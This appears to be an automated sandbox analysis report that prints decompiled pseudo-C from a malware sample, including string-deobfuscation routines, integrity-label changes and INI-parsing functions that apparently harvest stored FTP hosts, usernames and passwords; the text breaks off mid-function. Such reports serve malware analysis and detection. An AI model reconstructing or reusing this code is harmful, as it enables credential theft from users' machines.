Instruction Fuzzy Hash: 7E1152B590024DFEEB019B988E80EFFBB7CEB14388F104066F501B2161D2B59E559B74

Uniqueness

Uniqueness Score: -1.00%

Function 0041512E, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
stringlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041512E() {
				char _v20;
				short _v40;
				intOrPtr* _t11;
				void* _t14;
				char* _t17;
				struct HINSTANCE__* _t22;

				lstrcpyW( &_v40, L"qng540fnn");
				_t11 =  &_v40;
				if(_v40 != 0) {
					do {
						 *_t11 =  *_t11 + 0xfffe;
						_t11 = _t11 + 2;
					} while ( *_t11 != 0);
				}
				_t22 = GetModuleHandleW( &_v40);
				if(_t22 == 0) {
					_t14 = 0;
				} else {
					lstrcpyA( &_v20, "DMTJEGspnTusjoh");
					_t17 =  &_v20;
					if(_v20 != 0) {
						do {
							 *_t17 =  *_t17 - 1;
							_t17 = _t17 + 1;
						} while ( *_t17 != 0);
					}
					 *0x4229a0 = GetProcAddress(_t22,  &_v20);
					_t14 = 1;
				}
				return _t14;
			}

0x0041513d
0x00415148
0x0041514b
0x0041514d
0x00415152
0x00415155
0x00415158
0x0041514d
0x00415169
0x0041516d
0x004151a3
0x0041516f
0x00415178
0x00415182
0x00415185
0x00415187
0x00415187
0x00415189
0x0041518a
0x00415187
0x0041519a
0x0041519f
0x0041519f
0x004151a7

APIs

lstrcpyW.KERNEL32(?,qng540fnn), ref: 0041513D
GetModuleHandleW.KERNEL32(00000000,73B74EE0), ref: 00415163
lstrcpyA.KERNEL32(?,DMTJEGspnTusjoh), ref: 00415178
GetProcAddress.KERNEL32(00000000,00000000), ref: 00415194

Strings

qng540fnn, xrefs: 00415134
DMTJEGspnTusjoh, xrefs: 0041516F

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcpy$AddressHandleModuleProc
String ID: DMTJEGspnTusjoh$qng540fnn
API String ID: 3274487960-2643916717
Opcode ID: 27291810783f1e9897e3906cc3492e3299714a4dc613bd81019dfd3172ab09e1
Instruction ID: 89a66d0690d5bf075c92c44f220d692ae9525b739e6b590b3b0b1367392bc991
Opcode Fuzzy Hash: 27291810783f1e9897e3906cc3492e3299714a4dc613bd81019dfd3172ab09e1
Instruction Fuzzy Hash: 3F017171D01259FFDB12DBA0DD09BEA77BCEB89300F4400A6D901F3150E7789D8487A9

Uniqueness

Uniqueness Score: -1.00%

Function 004119C1, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E004119C1(intOrPtr _a4) {
				struct _ACL* _v8;
				struct _SECURITY_DESCRIPTOR* _v12;
				int _v16;
				int _v20;
				void** _t11;
				int _t16;
				struct _ACL* _t18;

				_t18 = 0;
				E0040F901(L"SeSecurityPrivilege");
				_t11 =  &_v12;
				__imp__ConvertStringSecurityDescriptorToSecurityDescriptorW(L"S:(ML;CIOI;NRNWNX;;;LW)", 1, _t11, 0);
				if(_t11 != 0) {
					_v8 = 0;
					_t16 = GetSecurityDescriptorSacl(_v12,  &_v20,  &_v8,  &_v16);
					if(_t16 != 0) {
						__imp__SetNamedSecurityInfoW(_a4, 1, 0x10, 0, 0, 0, _v8);
						if(_t16 == 0) {
							_t18 = 1;
						}
					}
					LocalFree(_v12);
				}
				return _t18;
			}

0x004119cd
0x004119cf
0x004119d5
0x004119e0
0x004119e8
0x004119f9
0x004119fc
0x00411a04
0x00411a13
0x00411a1b
0x00411a1d
0x00411a1d
0x00411a1b
0x00411a22
0x00411a22
0x00411a2c

APIs

Part of subcall function 0040F901: GetCurrentThread.KERNEL32 ref: 0040F911
Part of subcall function 0040F901: OpenThreadToken.ADVAPI32(00000000,?,?,?,?,0041CA09,SeTcbPrivilege), ref: 0040F918
Part of subcall function 0040F901: OpenProcessToken.ADVAPI32(000000FF,00000020,0041CA09,?,?,?,?,0041CA09,SeTcbPrivilege), ref: 0040F92A

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,00000000,00000000), ref: 004119E0
GetSecurityDescriptorSacl.ADVAPI32(00000000,?,?,00000000), ref: 004119FC
SetNamedSecurityInfoW.ADVAPI32(00000000,00000001,00000010,00000000,00000000,00000000,?), ref: 00411A13
LocalFree.KERNEL32(00000000), ref: 00411A22

Strings

S:(ML;CIOI;NRNWNX;;;LW), xrefs: 004119DB
SeSecurityPrivilege, xrefs: 004119C8

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Security$Descriptor$OpenThreadToken$ConvertCurrentFreeInfoLocalNamedProcessSaclString
String ID: S:(ML;CIOI;NRNWNX;;;LW)$SeSecurityPrivilege
API String ID: 3555451682-1937014404
Opcode ID: 9ad437d555d8352dc874d9c9e26b66007ada32e97a7f4d530b411124582ea17a
Instruction ID: bae782cac8e075d153cf433fe011366ada118f8f2b68d924d0b708ee4ed1a3e8
Opcode Fuzzy Hash: 9ad437d555d8352dc874d9c9e26b66007ada32e97a7f4d530b411124582ea17a
Instruction Fuzzy Hash: 6B018CB1A4020CBFEB11AFA08D85FEF7B7DEF04784F000432B602B11A1D7758E949A28

Uniqueness

Uniqueness Score: -1.00%

Function 0041A16A, Relevance: 9.2, APIs: 6, Instructions: 175
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0041A16A(void* __ecx, signed char* __edx, void* __eflags, intOrPtr _a4) {
				short _v524;
				short _v528;
				char _v568;
				short _v584;
				char _v596;
				short _v600;
				char _v608;
				short _v612;
				char _v616;
				short _v620;
				char _v624;
				short _v628;
				short* _v632;
				WCHAR* _v636;
				WCHAR* _v640;
				WCHAR* _v644;
				WCHAR* _v648;
				WCHAR* _v652;
				void* __edi;
				void* __esi;
				WCHAR* _t54;
				WCHAR* _t57;
				void* _t61;
				void* _t63;
				void* _t65;
				void* _t67;
				void* _t69;
				WCHAR* _t72;
				WCHAR* _t74;
				long _t78;
				int _t81;
				long _t85;
				long _t88;
				WCHAR* _t89;
				void* _t90;
				WCHAR* _t94;
				WCHAR* _t95;
				WCHAR* _t111;
				WCHAR* _t112;
				WCHAR* _t117;
				intOrPtr _t126;
				signed int _t127;
				void* _t129;

				_t129 = (_t127 & 0xfffffff8) - 0x284;
				if(E00413B62( &(__edx[0x2c]),  &_v524, __ecx) == 0) {
					L21:
					return 1;
				}
				_t132 =  *__edx & 0x00000010;
				if(( *__edx & 0x00000010) == 0) {
					_t117 = E0040E205(0x1fffe);
					_v628 = _t117;
					__eflags = _t117;
					if(_t117 == 0) {
						goto L21;
					}
					_t54 = GetPrivateProfileStringW(0, 0, 0, _t117, 0xffff,  &_v524);
					__eflags = _t54;
					if(_t54 <= 0) {
						L20:
						E0040E235(_t117);
						goto L21;
					}
					_t9 =  &(_t54[0]); // 0x1
					_t57 = E0040F0E5(_t117, _t9);
					__eflags = _t57;
					if(_t57 == 0) {
						goto L20;
					}
					_t111 = E0040E205(0xc1c);
					_v640 = _t111;
					__eflags = _t111;
					if(_t111 != 0) {
						_t11 =  &(_t111[0x2fd]); // 0x5fa
						_v632 = _t11;
						_v644 = _t117;
						_t61 = 0x72;
						E00407384(_t61,  &_v584);
						_t63 = 0x73;
						E00407384(_t63,  &_v596);
						_t65 = 0x74;
						E00407384(_t65,  &_v608);
						_t67 = 0x75;
						E00407384(_t67,  &_v624);
						_t69 = 0x76;
						E00407384(_t69,  &_v616);
						goto L9;
						L18:
						_t74 = E0040F121(_v648, 1);
						_v652 = _t74;
						__eflags = _t74;
						if(_t74 != 0) {
							_t111 = _v644;
							L9:
							_t72 = StrStrIW(_v644,  &_v584);
							__eflags = _t72;
							if(_t72 == 0) {
								_t78 = GetPrivateProfileStringW(_v648,  &_v600, 0, _t111, 0xff,  &_v528);
								__eflags = _t78;
								if(_t78 != 0) {
									_t81 = GetPrivateProfileIntW(_v648,  &_v612, 0x15,  &_v528);
									_v640 = _t81;
									__eflags = _t81 - 1 - 0xfffe;
									if(_t81 - 1 <= 0xfffe) {
										_t112 =  &(_t111[0xff]);
										_t85 = GetPrivateProfileStringW(_v648,  &_v628, 0, _t112, 0xff,  &_v528);
										__eflags = _t85;
										if(_t85 != 0) {
											_t33 =  &(_t112[0xff]); // 0x0
											_t124 = _t33;
											_t88 = GetPrivateProfileStringW(_v648,  &_v620, 0, _t33, 0xff,  &_v528);
											__eflags = _t88;
											if(_t88 != 0) {
												_t89 = E0040ED84(_t124);
												__eflags = _t89;
												if(_t89 > 0) {
													_t125 =  &_v568;
													_t90 = 0x55;
													E00407384(_t90,  &_v568);
													_push(_v640);
													_t38 =  &(_t112[0xff]); // 0x0
													_push(_v644);
													_push(_t112);
													_t113 = _v636;
													_t94 = E0040EF28(_t125, 0x311, _v636, _t125);
													_t129 = _t129 + 0x14;
													__eflags = _t94;
													if(_t94 > 0) {
														_t126 = _a4;
														_t95 = E0040E629(_t94, _t126, _t113);
														__eflags = _t95;
														if(_t95 != 0) {
															_t42 = _t126 + 4;
															 *_t42 =  &(( *(_t126 + 4))[0]);
															__eflags =  *_t42;
														}
													}
												}
											}
										}
									}
								}
							}
							goto L18;
						}
						E0040E235(_v644);
						_t117 = _v636;
					}
					goto L20;
				} else {
					E0041A132(_t132,  &_v524, _a4);
					goto L21;
				}
			}

0x0041a170
0x0041a18e
0x0041a384
0x0041a38c
0x0041a38c
0x0041a194
0x0041a197
0x0041a1b8
0x0041a1bc
0x0041a1c0
0x0041a1c2
0x00000000
0x00000000
0x0041a1df
0x0041a1e1
0x0041a1e3
0x0041a37e
0x0041a37f
0x00000000
0x0041a37f
0x0041a1e9
0x0041a1ee
0x0041a1f3
0x0041a1f5
0x00000000
0x00000000
0x0041a205
0x0041a207
0x0041a20b
0x0041a20d
0x0041a213
0x0041a21b
0x0041a21f
0x0041a227
0x0041a228
0x0041a233
0x0041a234
0x0041a23f
0x0041a240
0x0041a24b
0x0041a24c
0x0041a257
0x0041a258
0x0041a25d
0x0041a35a
0x0041a360
0x0041a365
0x0041a369
0x0041a36b
0x0041a25f
0x0041a263
0x0041a26c
0x0041a272
0x0041a274
0x0041a294
0x0041a296
0x0041a298
0x0041a2b1
0x0041a2b7
0x0041a2bc
0x0041a2c1
0x0041a2d0
0x0041a2e2
0x0041a2e4
0x0041a2e6
0x0041a2f1
0x0041a2f1
0x0041a303
0x0041a305
0x0041a307
0x0041a30b
0x0041a310
0x0041a312
0x0041a316
0x0041a31a
0x0041a31b
0x0041a320
0x0041a324
0x0041a32a
0x0041a334
0x0041a335
0x0041a33c
0x0041a341
0x0041a344
0x0041a346
0x0041a348
0x0041a34e
0x0041a353
0x0041a355
0x0041a357
0x0041a357
0x0041a357
0x0041a357
0x0041a355
0x0041a346
0x0041a312
0x0041a307
0x0041a2e6
0x0041a2c1
0x0041a298
0x00000000
0x0041a274
0x0041a375
0x0041a37a
0x0041a37a
0x00000000
0x0041a199
0x0041a1a4
0x00000000
0x0041a1a4

APIs

Part of subcall function 00413B62: PathCombineW.SHLWAPI(?,}L@,?,00404C7D,?,?), ref: 00413B81

GetPrivateProfileStringW.KERNEL32 ref: 0041A1DF
StrStrIW.SHLWAPI(?,?), ref: 0041A26C
GetPrivateProfileStringW.KERNEL32 ref: 0041A294
GetPrivateProfileIntW.KERNEL32 ref: 0041A2B1
GetPrivateProfileStringW.KERNEL32 ref: 0041A2E2

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfile$String$CombinePath
String ID:
API String ID: 2134968610-0
Opcode ID: a59f46d76606c436e368a9da653f6938a27005df6023c33a82d3a8f2ee7426e5
Instruction ID: 09f63336ee2b939f3621d44bf7e2e4dca3d28f89a982b0734b86b81420bffe66
Opcode Fuzzy Hash: a59f46d76606c436e368a9da653f6938a27005df6023c33a82d3a8f2ee7426e5
Instruction Fuzzy Hash: 7E519272904306AAD710DF658C05BEBB7E8EF84704F04092EBD98E7191DB38E955C7A7

Uniqueness

Uniqueness Score: -1.00%

Function 00418230, Relevance: 9.2, APIs: 5, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00418230(char* __ecx, void* __eflags, intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12) {
				intOrPtr _v16;
				signed char* _v20;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char _v76;
				char _v104;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v125;
				char _v128;
				char _v136;
				intOrPtr _v172;
				char _v173;
				signed int _v176;
				intOrPtr _v180;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char _t85;
				signed int _t88;
				intOrPtr _t89;
				void* _t92;
				void* _t96;
				void* _t100;
				signed int _t107;
				intOrPtr _t108;
				intOrPtr _t111;
				intOrPtr _t113;
				intOrPtr _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				intOrPtr _t118;
				signed char* _t119;
				signed int _t120;
				intOrPtr _t128;
				char* _t135;
				char* _t136;
				char* _t137;
				signed int _t139;
				signed int _t145;

				_t125 = __ecx;
				_v120 = _v120 | 0xffffffff;
				_t133 =  &_v76;
				if(E0041811D(_a4, __ecx,  &_v76, __eflags,  *_a8,  *_a12) == 0) {
					L22:
					E00408692( &_v76);
					return _v120;
				}
				_t85 = E00407D60(_t133);
				_v120 = _t85;
				if((_t85 & 0x00000001) == 0) {
					__eflags = _t85 & 0x00000002;
					if((_t85 & 0x00000002) == 0) {
						L17:
						__eflags = _v116 & 0x00000004;
						if((_v116 & 0x00000004) == 0) {
							goto L22;
						}
						 *_a8 = _v40;
						 *_a12 = _v36;
						EnterCriticalSection(0x42384c);
						_t143 = _a4;
						_t88 = E004177A9(_a4);
						__eflags = _t88 - 0xffffffff;
						if(_t88 != 0xffffffff) {
							L20:
							_t89 =  *0x423864; // 0x0
							_t145 = _t88 * 0x24;
							__eflags = _t145;
							E0040E235( *((intOrPtr*)(_t145 + _t89 + 8)));
							_t128 =  *0x423864; // 0x0
							 *((intOrPtr*)(_t145 + _t128 + 8)) = _v44;
							L21:
							LeaveCriticalSection(0x42384c);
							goto L22;
						}
						_t88 = E004177CF(_t88, _t143);
						__eflags = _t88 - 0xffffffff;
						if(_t88 == 0xffffffff) {
							goto L21;
						}
						goto L20;
					}
					_v124 = _v124 & 0x00000000;
					_v125 = 1;
					__eflags = _v16 - 1;
					if(_v16 != 1) {
						L9:
						_t135 =  &_v104;
						_t92 = 0x21;
						E0040734E(_t92, _t135);
						 *0x422ddc(_a4, _t135, 0xffffffff, 0xa0000000);
						_t136 =  &_v128;
						_t96 = 0x22;
						E0040734E(_t96, _t136);
						 *0x422ddc(_a4, _t136, 0xffffffff, 0x80000000);
						_t137 =  &_v136;
						_t100 = 0x23;
						E0040734E(_t100, _t137);
						 *0x422ddc(_a4, _t137, 0xffffffff, 0x80000000);
						L10:
						EnterCriticalSection(0x42384c);
						__eflags = _v173;
						if(_v173 == 0) {
							L14:
							E004086FC(_v64, _v68);
							__eflags = _v176;
							if(_v176 != 0) {
								E0040FF5E(_t125, _v172);
							}
							L16:
							LeaveCriticalSection(0x42384c);
							goto L17;
						}
						_t149 = _a4;
						_t107 = E004177A9(_a4);
						__eflags = _t107 - 0xffffffff;
						if(_t107 != 0xffffffff) {
							L13:
							_t108 =  *0x423864; // 0x0
							_t139 = _t107 * 0x24;
							E004086FC( *((intOrPtr*)(_t108 + _t139 + 0x10)),  *((intOrPtr*)(_t108 + _t139 + 0xc)));
							_t111 =  *0x423864; // 0x0
							E0040E235( *((intOrPtr*)(_t139 + _t111 + 0x14)));
							_t113 =  *0x423864; // 0x0
							 *(_t139 + _t113 + 0x14) =  *(_t139 + _t113 + 0x14) & 0x00000000;
							_t114 =  *0x423864; // 0x0
							 *(_t139 + _t114 + 0x1c) =  *(_t139 + _t114 + 0x1c) & 0x00000000;
							_t115 =  *0x423864; // 0x0
							 *(_t139 + _t115 + 0x18) =  *(_t139 + _t115 + 0x18) | 0xffffffff;
							_t116 =  *0x423864; // 0x0
							 *((intOrPtr*)(_t139 + _t116 + 0xc)) = _v76;
							_t117 =  *0x423864; // 0x0
							 *((intOrPtr*)(_t139 + _t117 + 0x10)) = _v72;
							_t118 =  *0x423864; // 0x0
							 *((intOrPtr*)(_t139 + _t118 + 0x20)) = _v180;
							goto L16;
						}
						_t107 = E004177CF(_t107, _t149);
						__eflags = _t107 - 0xffffffff;
						if(_t107 == 0xffffffff) {
							goto L14;
						}
						goto L13;
					}
					_t119 = _v20;
					__eflags =  *_t119 & 0x00000003;
					if(( *_t119 & 0x00000003) == 0) {
						goto L9;
					}
					_t125 =  &_v76;
					_t120 = E0040895A(_t119,  &_v76);
					_v124 = _t120;
					__eflags = _t120;
					if(_t120 != 0) {
						_v120 = 1;
					} else {
						_v125 = _t120;
					}
					goto L10;
				} else {
					SetLastError(0x2f78);
					_v120 = _v120 & 0x00000000;
					goto L22;
				}
			}

0x00418230
0x0041823c
0x0041824e
0x00418259
0x00418441
0x00418445
0x00418454
0x00418454
0x00418262
0x00418267
0x0041826d
0x00418289
0x0041828b
0x004183e1
0x004183e1
0x004183e6
0x00000000
0x00000000
0x004183ef
0x004183f9
0x004183fb
0x00418401
0x00418404
0x00418409
0x0041840c
0x00418419
0x0041841b
0x00418420
0x00418420
0x00418427
0x00418430
0x00418436
0x0041843a
0x0041843b
0x00000000
0x0041843b
0x0041840f
0x00418414
0x00418417
0x00000000
0x00000000
0x00000000
0x00418417
0x00418291
0x00418299
0x0041829e
0x004182a2
0x004182ca
0x004182cc
0x004182d0
0x004182d1
0x004182e3
0x004182eb
0x004182ef
0x004182f0
0x00418303
0x0041830b
0x0041830f
0x00418310
0x0041831e
0x00418324
0x00418325
0x0041832b
0x00418330
0x004183ba
0x004183c5
0x004183ca
0x004183cf
0x004183d5
0x004183d5
0x004183da
0x004183db
0x00000000
0x004183db
0x00418336
0x00418339
0x0041833e
0x00418341
0x0041834e
0x00418350
0x00418355
0x00418360
0x00418365
0x0041836e
0x00418373
0x00418378
0x0041837d
0x00418382
0x00418387
0x0041838c
0x00418391
0x0041839a
0x0041839e
0x004183a7
0x004183ab
0x004183b4
0x00000000
0x004183b4
0x00418344
0x00418349
0x0041834c
0x00000000
0x00000000
0x00000000
0x0041834c
0x004182a4
0x004182a8
0x004182ab
0x00000000
0x00000000
0x004182ad
0x004182b1
0x004182b6
0x004182ba
0x004182bc
0x004182c4
0x004182be
0x004182be
0x004182be
0x00000000
0x0041826f
0x00418274
0x0041827a
0x00000000
0x0041827a

APIs

Part of subcall function 00407D60: EnterCriticalSection.KERNEL32(004227B0,-004227A4,00000000,00422788), ref: 00407D7B
Part of subcall function 00407D60: LeaveCriticalSection.KERNEL32(004227B0), ref: 00407DFE

SetLastError.KERNEL32(00002F78,?), ref: 00418274
EnterCriticalSection.KERNEL32(0042384C), ref: 00418325
LeaveCriticalSection.KERNEL32(0042384C,?), ref: 004183DB
EnterCriticalSection.KERNEL32(0042384C,?), ref: 004183FB
LeaveCriticalSection.KERNEL32(0042384C,?), ref: 0041843B

Strings

L8B, xrefs: 00418284

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave$ErrorLast
String ID: L8B
API String ID: 486337731-160182769
Opcode ID: 6fbded78df84563cf4f0205fa9bdfe416be8a7b2867d189a8dcbc7c05d67a7d2
Instruction ID: 38fd317da6626b17729e944c8c2460eaad25216284d7fd5e45ccc70f2e5eea10
Opcode Fuzzy Hash: 6fbded78df84563cf4f0205fa9bdfe416be8a7b2867d189a8dcbc7c05d67a7d2
Instruction Fuzzy Hash: 645191312047059BC721EF29CD44A9ABBF1FF45325F544A2EF9649B2E1CB38E941CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00419D73, Relevance: 9.1, APIs: 6, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00419D73(void* __edx, void* __eflags, WCHAR* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				WCHAR* _v12;
				short* _v16;
				WCHAR* _v20;
				short _v32;
				short _v48;
				short _v68;
				short _v88;
				short _v112;
				char _v144;
				void* __edi;
				void* __esi;
				WCHAR* _t40;
				long _t41;
				void* _t48;
				void* _t50;
				void* _t52;
				void* _t54;
				void* _t56;
				WCHAR* _t61;
				WCHAR* _t64;
				void* _t72;
				void* _t76;
				WCHAR* _t83;
				WCHAR* _t84;
				WCHAR* _t86;
				intOrPtr _t96;
				void* _t97;

				_t81 = __edx;
				_t40 = E0040E205(0x1fffe);
				_t86 = _t40;
				_v20 = _t86;
				if(_t86 == 0) {
					return _t40;
				}
				_t41 = GetPrivateProfileStringW(0, 0, 0, _t86, 0xffff, _a4);
				if(_t41 <= 0) {
					L17:
					return E0040E235(_t86);
				}
				_t3 = _t41 + 1; // 0x1
				if(E0040F0E5(_t86, _t3) == 0) {
					goto L17;
				}
				_t83 = E0040E205(0xc08);
				_v12 = _t83;
				if(_t83 == 0) {
					goto L17;
				} else {
					_t5 =  &(_t83[0x2fd]); // 0x5fa
					_v16 = _t5;
					_v8 = _t86;
					_t48 = 0x65;
					E00407384(_t48,  &_v112);
					_t50 = 0x66;
					E00407384(_t50,  &_v48);
					_t52 = 0x67;
					E00407384(_t52,  &_v32);
					_t54 = 0x68;
					E00407384(_t54,  &_v88);
					_t56 = 0x69;
					E00407384(_t56,  &_v68);
					goto L6;
					L15:
					_t61 = E0040F121(_v8, 1);
					_v8 = _t61;
					if(_t61 != 0) {
						_t83 = _v12;
						L6:
						if(StrStrIW(_v8,  &_v112) == 0) {
							_t64 = StrStrIW(_v8,  &_v48);
							if(_t64 == 0 && GetPrivateProfileStringW(_v8,  &_v32, _t64, _t83, 0xff, _a4) != 0) {
								_t84 =  &(_t83[0xff]);
								if(GetPrivateProfileStringW(_v8,  &_v88, 0, _t84, 0xff, _a4) != 0) {
									_t26 =  &(_t84[0xff]); // 0x0
									_t94 = _t26;
									if(GetPrivateProfileStringW(_v8,  &_v68, 0, _t26, 0xff, _a4) != 0 && E00419C08(_t81, _t94) > 0) {
										_t95 =  &_v144;
										_t72 = 0x56;
										E00407384(_t72,  &_v144);
										_push(_v12);
										_t30 =  &(_t84[0xff]); // 0x0
										_push(_t84);
										_t85 = _v16;
										_t81 = 0x307;
										_t76 = E0040EF28(_t95, 0x307, _v16, _t95);
										_t97 = _t97 + 0x10;
										if(_t76 > 0) {
											_t96 = _a8;
											if(E0040E629(_t76, _t96, _t85) != 0) {
												 *((intOrPtr*)(_t96 + 4)) =  *((intOrPtr*)(_t96 + 4)) + 1;
											}
										}
									}
								}
							}
						}
						goto L15;
					} else {
						E0040E235(_v12);
						_t86 = _v20;
						goto L17;
					}
				}
			}

0x00419d73
0x00419d84
0x00419d89
0x00419d8d
0x00419d92
0x00419f13
0x00419f13
0x00419daa
0x00419dae
0x00419f09
0x00000000
0x00419f0a
0x00419db4
0x00419dc0
0x00000000
0x00000000
0x00419dd0
0x00419dd2
0x00419dd7
0x00000000
0x00419ddd
0x00419ddd
0x00419de5
0x00419de8
0x00419dee
0x00419def
0x00419df9
0x00419dfa
0x00419e04
0x00419e05
0x00419e0f
0x00419e10
0x00419e1a
0x00419e1b
0x00419e20
0x00419ee9
0x00419eee
0x00419ef3
0x00419ef8
0x00419e22
0x00419e25
0x00419e36
0x00419e43
0x00419e47
0x00419e6c
0x00419e81
0x00419e8a
0x00419e8a
0x00419e9b
0x00419ea9
0x00419eaf
0x00419eb0
0x00419eb5
0x00419eb8
0x00419ebf
0x00419ec0
0x00419ec6
0x00419ecb
0x00419ed0
0x00419ed5
0x00419ed7
0x00419ee4
0x00419ee6
0x00419ee6
0x00419ee4
0x00419ed5
0x00419e9b
0x00419e81
0x00419e47
0x00000000
0x00419efe
0x00419f01
0x00419f06
0x00000000
0x00419f06
0x00419ef8

APIs

GetPrivateProfileStringW.KERNEL32 ref: 00419DAA

Part of subcall function 0040E205: HeapAlloc.KERNEL32(00000008,-00000004,0040F9D3,73BB8170,?,?,?,00404B40,00000000,00405142), ref: 0040E216

StrStrIW.SHLWAPI(00000001,?), ref: 00419E32
StrStrIW.SHLWAPI(00000001,?), ref: 00419E43
GetPrivateProfileStringW.KERNEL32 ref: 00419E5F
GetPrivateProfileStringW.KERNEL32 ref: 00419E7D
GetPrivateProfileStringW.KERNEL32 ref: 00419E97

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfileString$AllocHeap
String ID:
API String ID: 2479592106-0
Opcode ID: 3f52f45666c2051ca89b828e0774aefb5584d94accff0989b71bb5f840b9e417
Instruction ID: 64a55ef386b9b624093221369889eece2d713986a7154c5b283c9212a95eb253
Opcode Fuzzy Hash: 3f52f45666c2051ca89b828e0774aefb5584d94accff0989b71bb5f840b9e417
Instruction Fuzzy Hash: 0F419032D0021AFADF10DAA6CC01AEFB7B9EF44744F104066F904F7291DB39AE558B99

Uniqueness

Uniqueness Score: -1.00%

Function 004081DE, Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367
timeCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E004081DE(char __eax, void* __ecx, intOrPtr _a4, intOrPtr* _a8, signed int* _a12) {
				char _v540;
				char _v800;
				char _v804;
				char _v860;
				struct _SYSTEMTIME _v876;
				char _v900;
				signed int _v968;
				signed int _v980;
				intOrPtr _v984;
				intOrPtr _v988;
				char* _v992;
				char _v996;
				char _v1008;
				struct _SYSTEMTIME _v1028;
				signed int _v1032;
				short _v1036;
				signed short* _v1040;
				signed int _v1044;
				intOrPtr* _v1048;
				signed int _v1052;
				signed int _v1056;
				signed int _v1060;
				signed int _v1064;
				char _v1068;
				intOrPtr _v1072;
				char _v1076;
				intOrPtr _v1080;
				intOrPtr _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t158;
				signed int _t159;
				intOrPtr _t160;
				signed int _t168;
				void* _t188;
				void* _t199;
				signed int _t211;
				signed int _t215;
				signed int _t218;
				signed char _t222;
				signed int _t224;
				void* _t227;
				void* _t228;
				signed int _t229;
				signed int _t230;
				signed int _t240;
				void* _t242;
				signed int _t250;
				intOrPtr* _t254;
				signed int _t255;
				intOrPtr _t258;
				short* _t261;
				intOrPtr _t280;
				intOrPtr* _t286;
				signed int _t291;
				void* _t294;
				signed short* _t296;
				signed short* _t298;
				signed int _t301;
				intOrPtr* _t303;
				signed int _t307;
				void* _t309;

				_t309 = (_t307 & 0xfffffff8) - 0x424;
				_v1032 = _v1032 & 0x00000000;
				if(__eax == 0) {
					L52:
					asm("sbb eax, eax");
					return  ~0x00000000;
				} else {
					_t286 = __ecx + 0x10;
					_v1048 = _t286;
					_v1028.wDayOfWeek = __eax;
					do {
						_t258 =  *_t286;
						_t279 =  *(_t286 - 0x10) >> 0x0000000a & 0x00000008;
						_v1028.wHour = _t279;
						if(_t258 == 0) {
							_t254 = _a8;
							L6:
							_t259 =  *(_t286 + 4);
							_v1052 = _v1052 & 0x00000000;
							_v1064 = _v1064 & 0x00000000;
							_t158 =  *((intOrPtr*)(_t286 + 8)) + _t259;
							_v1028.wSecond = _t158;
							if(_t259 >= _t158) {
								L35:
								_t159 =  *(_t286 - 0x10);
								_t294 = 0;
								if((_t159 & 0x00000008) != 0 && _v1052 != 0) {
									if((_t159 & 0x00000200) == 0) {
										_t255 = E0040E475(_t159 | 0xffffffff, 0, _a4);
										__eflags = _t255;
										if(_t255 != 0) {
											_t188 = 9;
											E00407384(_t188,  &_v996);
											_push(_v1052);
											E0041E59D(_t259, _t279, __eflags, 0xc9, _t255, 0,  &_v996, _t255);
											_t309 = _t309 + 0x18;
											E0040E235(_t255);
										}
									} else {
										_t280 = 0x3c;
										E0040E2E8( &_v996,  &_v996, 0, _t280);
										_v992 =  &_v800;
										_push( &_v1008);
										_push(0);
										_push(0);
										_push(_a4);
										_v1008 = _t280;
										_v988 = 0x103;
										if( *0x4237d4() == 1 && _v992 > 0) {
											GetSystemTime( &_v1028);
											_t306 =  &_v876;
											_t199 = 8;
											E00407384(_t199,  &_v876);
											_push(_v1028.wDay & 0x0000ffff);
											_push(_v1028.wMonth & 0x0000ffff);
